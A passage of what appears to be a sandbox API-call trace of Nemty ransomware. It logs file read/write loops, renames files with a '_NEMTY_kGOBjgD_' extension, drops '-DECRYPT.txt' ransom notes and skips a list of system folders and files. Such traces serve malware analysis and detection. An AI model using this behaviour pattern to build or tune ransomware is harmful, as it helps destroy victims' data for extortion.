lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.118] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.137] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0085.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.159] CloseHandle (hObject=0xffffffff) returned 0 [0085.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0085.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0085.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0085.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0085.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0085.159] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png._nemty_kgobjgd_")) returned 0 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.159] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Shatter", cAlternateFileName="")) returned 1 [0085.159] lstrcmpiW (lpString1="Shatter", lpString2=".") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="..") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="...") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="windows") returned -1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="$RECYCLE.BIN") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="rsa") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="NTDETECT.COM") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="ntldr") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="MSDOS.SYS") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="IO.SYS") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="boot.ini") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="boot.ini") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="AUTOEXEC.BAT") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="ntuser.dat") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="desktop.ini") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="CONFIG.SYS") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="RECYCLER") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="BOOTSECT.BAK") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="bootmgr") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="programdata") returned 1 [0085.160] lstrcmpiW (lpString1="Shatter", lpString2="appdata") returned 1 [0085.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shatter", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0085.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shatter", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shatter", lpUsedDefaultChar=0x0) returned 7 [0085.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shatter", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0085.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shatter", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shatter", lpUsedDefaultChar=0x0) returned 7 [0085.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94268 [0085.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0085.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0085.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0085.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0085.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942e0 [0085.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0085.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0085.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0085.163] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.163] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0085.164] CloseHandle (hObject=0x3cc) returned 1 [0085.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e0 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94358 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0085.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0085.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0085.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0085.165] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0085.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.166] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.166] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0085.167] CloseHandle (hObject=0x3cc) returned 1 [0085.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94358 [0085.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe667b6d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe667b6d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0085.167] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0085.167] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe667b6d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe667b6d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0085.167] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0085.167] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0085.167] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0085.167] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0085.168] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0085.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0085.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0085.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0085.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0085.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0085.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0085.169] Sleep (dwMilliseconds=0x5) [0085.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe66a1830, dwHighDateTime=0x1d561e7)) [0085.174] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe66a1830, dwHighDateTime=0x1d561e7)) [0085.174] GetLastError () returned 0xb7 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.174] GetLastError () returned 0xb7 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 